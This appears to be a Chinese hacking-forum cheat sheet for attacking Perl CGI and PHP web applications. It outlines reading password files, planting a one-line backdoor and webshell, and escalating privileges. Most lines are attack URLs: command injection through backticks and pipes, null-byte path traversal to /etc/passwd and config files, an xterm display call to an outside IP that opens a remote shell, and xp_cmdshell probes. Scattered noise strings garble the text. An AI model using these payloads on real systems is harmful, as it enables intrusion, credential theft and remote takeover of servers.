总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着 0 R& G: d* ^. P( h
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权 . r8 i8 u) x$ Y+ _: p" Q2 h
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们
" E4 s3 j* @( O注“
! a8 q S" t: T. kperl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。 ; W: f- I6 y8 @7 c d8 \0 G
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET % Z) K" d0 G$ |" m- q2 K
* E2 h( ?3 l2 t7 y1 Y! O
http://target.com/cgi-bin/home/news/sub.pl?12 随意构造
* g$ U# B1 B4 l" H; [1 R7 Khttp://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢 8 q; n# Q' Z3 d$ T
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号
2 _9 t5 M% Y% }. L- H& f9 [http://target.com/cgi-bin/home/news/sub.pl?`id` / z2 W( V8 M! l9 i
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`
% A8 U2 ~- t- L3 C/ }+ P- Yhttp://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示
* Q( b: [9 N; ^3 b$ [4 V0 r) j( J5 Y: m
http://target.com/test.pl;ls|
8 C& M% g. m' k9 S5 @, ^9 a* _http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|
5 A4 M* d4 b. n' `0 Uhttp://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|
7 P' [ O1 U( y9 F8 Uhttp://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造
" Z% f2 ?7 _# n x比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。
% w. t0 ?* X2 W( Y; b' [. rhttp://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection
2 c9 H! Z2 t( j% `* o/ y3 ~
, `* c" v; F" h: ~http://target.com/test.pl?&........ /../../etc/passwd
9 D" a+ S6 ~" d- t
5 {- W& J- V/ D( B* Ghttp://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./ & T- N+ p; H# \3 ~9 J3 j/ c4 l
http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了 5 d1 p( w; @0 Q' S) ^# ]$ w" K+ o
http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00 ) [- k( j8 ~! m7 ~ e
! e7 r3 u" N0 z( T0 K" e( u0 V
http://www.target.org/show.php?f ... /include/config.php 查看php代码
- G0 a" m, r) f) D$ Qhttp://www.target.org/show.php?f ... ng/admin/global.php ) m, E/ ]# o: C& U8 I! v( b
" V* w# m" u$ n0 r) y: Remm和ps的一句话
4 l7 y! A) t" j2 ^2 f, Q
' @5 U7 x$ i/ D4 i' N6 phttp://www.target.org/cgi-bin/cl ... /../../../bin/ls%20
4 Q4 v* l* L, Z9 a, u+ J2 k0 E' R) G& z! F- S/ P k
>bbb%20|
- _+ ?! H* f+ A( {$ _& K
9 G- H f5 Q6 P Khttp://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串 8 R9 c8 @, ]+ }9 _! w, b' r' R {
5 r) N& s O, c. R5 @/ W
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征 % I6 p. _& J% j8 m: @" n
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin 7 o* F$ F ~) `
Y% O, `& ^/ _: B9 K( d- n6 h" Q$ S8 y
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法 5 |1 {9 Q; `0 l2 ~
http://target.com/index.html#cmd.exe # _, M4 e* O: Y+ @$ B% l
http://target.com/index.html?dummyparam=xp_cmdshell 4 d9 w' @2 W' A: b" T6 k
lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd % Z% I4 y. l, i: d, g! P
|